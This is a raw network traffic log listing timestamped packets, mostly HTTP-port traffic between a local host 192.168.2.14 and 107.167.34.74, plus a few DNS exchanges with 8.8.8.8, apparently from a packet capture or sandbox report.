Mar 8, 2025 11:40:56.455641985 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.455696106 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.455729008 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.455764055 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.455796003 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.455833912 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.455867052 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.455899954 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.455931902 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.455965042 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.455996037 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.456029892 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.456063032 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.456096888 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.456129074 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.456161976 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.456193924 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.456227064 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.456259012 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.456291914 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.456383944 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.456386089 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.456418037 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.456453085 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.456485033 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.456517935 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.456548929 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.456582069 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.456615925 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.456650972 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.466305017 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.518405914 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.518471003 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.518562078 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.518663883 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.518754005 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.518810034 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.518853903 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.518951893 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.518965960 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.519005060 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.519057035 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.519117117 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.519146919 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.519190073 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.519243002 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.519275904 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.519309044 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.519341946 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.519376993 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.519433022 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.519467115 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.519517899 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.519570112 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.519603014 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.519656897 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.519689083 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.519721985 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.519756079 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.519788027 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.519820929 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.519855022 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.519896030 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.519931078 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.519963026 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.519998074 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.520030022 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.520066023 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.520097017 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.520128965 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.520163059 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.520194054 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.520226955 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.520261049 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.520335913 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.520371914 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.520406008 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.520437956 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.520472050 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.520504951 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.520539045 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.520571947 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.520606041 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.520639896 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.520673990 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.520709991 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.520742893 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.520759106 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.520776033 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.520811081 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.520845890 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.520879984 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.522607088 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.582149029 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.582299948 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.582357883 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.582406998 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.582417011 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.582468987 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.582503080 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.582536936 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.582571983 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.582628012 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.582683086 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.582735062 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.582767963 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.582802057 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.582834959 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.582870960 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.582921982 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.582952976 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.582988024 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583020926 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583081007 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583139896 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583173990 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583189011 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583203077 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583221912 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583244085 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583259106 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583283901 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583298922 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583312988 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583328962 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583353043 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583369017 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583381891 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583405972 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583420992 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583456993 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583472013 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583486080 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583502054 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583515882 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583530903 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583544970 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583559990 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583573103 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583589077 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583600998 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583614111 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583630085 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583643913 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583658934 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583673000 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583688021 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583703995 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583720922 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583735943 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.583750963 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.584786892 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.645936966 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.646090984 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.646148920 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.646183014 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.646225929 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.646225929 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.646235943 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.646272898 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.646326065 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.646361113 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.646394968 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.646428108 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.646460056 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.646516085 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.646548033 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.646600008 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.646634102 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.646668911 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.646703005 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.646738052 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.646771908 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.646830082 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.646888018 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.646923065 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.646955013 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.646989107 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.647041082 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.647095919 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.647128105 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.647161961 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.647195101 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.647228956 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.647286892 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.647320032 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.647371054 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.647403002 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.647439957 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.647475004 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.647507906 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.647542953 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.647576094 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.647608995 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.647643089 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.647680044 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.647713900 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.647788048 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.647819996 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.647845030 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.647855043 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.647887945 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.647922039 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.647953987 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.647989035 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.648020983 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.648056030 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.648091078 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.648124933 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.648158073 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.648196936 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.657665968 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.672128916 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.672254086 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.717878103 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.717950106 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.717987061 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.718048096 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.718082905 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.718116045 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.718128920 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.718168020 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.718200922 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.718234062 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.718266964 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.718300104 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.718333006 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.718367100 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.718399048 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.718436003 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.718466997 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.718501091 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.718533039 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.718565941 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.718597889 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.718631983 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.718663931 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.718697071 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.718725920 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.718758106 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.718796015 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.718822956 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.718991041 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.719043016 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.719095945 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.719147921 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.719182968 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.719214916 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.719265938 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.719297886 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.719331026 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.719379902 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.719413042 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.719444036 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.719479084 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.719530106 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.719563007 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.719593048 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.719643116 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.719681025 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.719712019 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.719750881 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.719784021 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.719819069 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.719851017 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.719893932 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.719913006 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.719926119 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.719959021 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.719990969 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.720024109 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.720057011 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.720091105 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.720128059 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.720180988 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.732953072 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.740638971 CET	53	45158	8.8.8.8	192.168.2.14
Mar 8, 2025 11:40:56.740830898 CET	45158	53	192.168.2.14	8.8.8.8
Mar 8, 2025 11:40:56.745934010 CET	53	45158	8.8.8.8	192.168.2.14
Mar 8, 2025 11:40:56.781565905 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.781642914 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.781702042 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.781717062 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.781763077 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.781816006 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.781850100 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.781883955 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.781920910 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.781974077 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.782007933 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.782042027 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.782077074 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.782109976 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.782141924 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.782176018 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.782207966 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.782243013 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.782282114 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.782315969 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.782349110 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.782382011 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.782413960 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.782448053 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.782480001 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.782515049 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.782768011 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.782821894 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.782875061 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.782908916 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.782959938 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.782994032 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.783026934 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.783061028 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.783096075 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.783148050 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.783181906 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.783215046 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.783251047 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.783302069 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.783307076 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.783335924 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.783387899 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.783440113 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.783477068 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.783509970 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.783545971 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.783579111 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.783612967 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.783664942 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.783699036 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.783731937 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.783766031 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.783798933 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.783833027 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.783865929 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.783899069 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.783931017 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.783970118 CET	80	50336	107.167.34.74	192.168.2.14
Mar 8, 2025 11:40:56.790848970 CET	50336	80	192.168.2.14	107.167.34.74
Mar 8, 2025 11:40:56.845396042 CET	80	50336	107.167.34.74	192.168.2.14
